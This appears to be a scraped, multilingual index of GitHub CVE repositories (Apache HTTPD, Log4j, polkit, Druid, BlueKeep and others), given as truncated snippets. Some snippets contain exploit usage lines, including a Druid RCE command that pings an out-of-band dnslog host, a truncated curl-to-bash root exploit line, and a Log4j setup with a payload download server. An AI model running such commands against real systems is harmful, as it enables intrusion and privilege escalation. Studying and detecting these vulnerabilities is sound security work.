POC-CVE-2021-41773

POC CVE-2021-41773 N|Solid Poc для тестирования уязвимости CVE-2021-41773, относящейся к службе Apache HTTPD 2.4.49. POC Откройте ваш любимый терминал и выполните следующие команды. Первая вкладка: root@kitploit: wget https://raw.githubusercontent.com/TishcaTpx/POC-CVE-2021-41773/main/poc.py Втор...

cve-2021-44228-log4j-test

cve-2021-44228-log4j-test 테스트 1. LDAP 서버와 해킹 파일 다운로드 서버 1.1 Docker-compose 실행 docker-compose.yml root@kitploit: version: '2' services: dockerdj: image: openidentityplatform/opendj:latest containername: ldap environment: ROOTUSERDN: "cn=han" ROOTPASSWORD: "han" BASEDN: "dc=bumbing,dc=xyz" ports: -...

Digisol-DG-GR1321-s-Improper-Access-Control-CVE-2024-4231

Digisol-DG-GR1321-s-Contrôle-d'accès-inapproprié-CVE-2024-4231...

curveball_lua

curveballlua Репозиторий с lua-скриптами и PCAP-файлами для обнаружения попыток эксплуатации CVE-2020-0601 по сетевому трафику...

BlueKeep

rdpscan для уязвимости CVE-2019-0708 bluekeep Это быстрый и «грязный» сканер для уязвимости CVE-2019-0708 в Microsoft Remote Desktop. Прямо сейчас в публичном интернете около 700 000 машин уязвимы к этой уязвимости, по сравнению с примерно 2 000 000 машин, у которых Remote Desktop открыт, но...

CVE-2025-8625

CVE-2025-8625 — PoC Обзор В репозитории храняться исходные файлы для статьи в Xakep.ru В репозитории содержатся демонстрационные материалы, предназначенные исключительно для исследований в области безопасности, обучения и тестирования в изолированных лабораторных средах. Репозиторий не предназнач...

cve-2020-16898

Пакет Zeek для обнаружения угрозы «Bad Neighbor» .. image::...

cve-2018-19207

CVE-2018-19207 Ceci fait partie de Cved : un outil pour gérer les conteneurs Docker vulnérables. Cved: https://github.com/git-rep-src/cved Image source: https://github.com/cved-sources/cve-2018-19207 Image author: https://github.com/cved-sources/cve-2018-19207...

CVE-2021-22205

Воздействие уязвимости Обнаружена проблема в GitLab CE/EE, затрагивающая все версии, начиная с 11.9. GitLab не выполнял надлежащую проверку файлов изображений, передаваемых парсеру, что приводило к удаленному выполнению команд. Продукт уязвимости Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab...

CurveballCertTool

CurveballCertTool CVE-2020-0601 Этот автоматизированный bash-скрипт для подписания кода был создан с использованием этого репозитория: https://github.com/ollypwn/CurveBall Пожалуйста, используйте этот скрипт только в образовательных целях. Требования openssl ruby osslsigncode Использование...

System_bt_AOSP10_r33_CVE-2021-0589

Fluoride 블루투스 스택 AOSP에서 빌드 및 실행 AOSP를 그냥 빌드하면 됩니다. Fluoride는 기본적으로 포함되어 있습니다. Linux에서 빌드 및 실행 Ubuntu용 지침입니다. 14.04에서는 Clang 3.5.0, 16.10에서는 Clang 3.8.0으로 테스트했습니다. 소스 다운로드 root@kitploit: mkdir /fluoride cd /fluoride git clone https://android.googlesource.com/platform/system/bt 의존성 설치 sudo 권한 필요:...

yamcs__yamcs_CVE-2023-45277_5-8-6

Yamcs Управление полетами Веб-сайт: https://yamcs.org Почтовая рассылка: Google Groups Yamcs — это платформа управления полетами, разработанная на Java. Она использует открытую архитектуру, позволяющую настраивать ее функциональность с помощью YAML-конфигураций. Вы также можете расширить...

CVE-2021-25646

Apache Druid удаленное выполнение кода CVE-2021-25646 by j2ekim Использование root@kitploit: python exp.py -u --url -c --command python cve-2021-25646.py -u http://127.0.0.1:8888 -c "ping 5ap7ta.dnslog.cn" Статья о воспроизведении уязвимости https://www.adminxe.com/2109.html Предупреждение об...

CVE-2020-9283

Эксплойт для CVE-2020-9283 Этот проект вдохновлен оригинальным PoC, найденным здесь github.com/mark-adams/exploits/CVE-2020-9283. Мне было любопытно, как реализована библиотека SSH на Go, поэтому я решил реализовать PoC на Go. Краткое описание можно найти здесь...

libxml2-exploit

libxml2-exploit Un exemple d'exploit pour CVE-2017-7376 Installation Téléchargez ce dépôt ainsi qu'une version vulnérable de libxml2, par exemple v2.7.7 : root@kitploit: git clone https://github.com/brahmstaedt/libxml2-exploit.git cd libxml2-exploit wget...

cve-2022-0185-crash-poc

Контейнер, запускающий crash POC для cve-2022-0185 Это docker-контейнер, запускающий crash POC из https://www.willsroot.io/2022/01/cve-2022-0185.html. Контейнер запускается без привилегий от UID 65534. Также можно использовать docker run -u или дополнительно задать security context с RunAsUser —...

poppy

poppy : CVE-2021-4034 CVE-2021-4034 PoC , polkit 0.131 Utilisation Testé sur Arch Linux Manjaro & Axyl OS root@kitploit: git clone https://github.com/tahaafarooq/poppy make ./poppy Exploit de création de super utilisateur root@kitploit: bash -c "$curl -fsSL...

valhalla

valhalla Valhalla trouve des appareils vulnérables sur Shodan, il peut également analyser une liste de domaines pour trouver des vulnérabilités. INSTALLATION git clone https://github.com/gotr00t0day/valhalla.git cd valhalla pip3 install -r requirements.txt chmod +x install.sh ./install.sh USAGE...

CVE-2023-2255

Commande pour exécuter la création de l'exploit : sudo python3 starkelevate.py /home/bob/Downloads/librecommand.exe --output librecommand.odt à des fins éducatives uniquement...

ElasticSearch-CVE-2014-3120

ElasticSearch: удаленное выполнение кода через поиск CVE-2014-3120 POC-код для эксплуатации CVE-2014-3120 Требования: python Использование: python elasticcheck.py Пример: root@kitploit: ➜ $ python elasticcheck.py hostport.txt 0 10.0.0.10:9200 Vulnerable 1 10.0.0.11:9201 Not Vulnerable 2...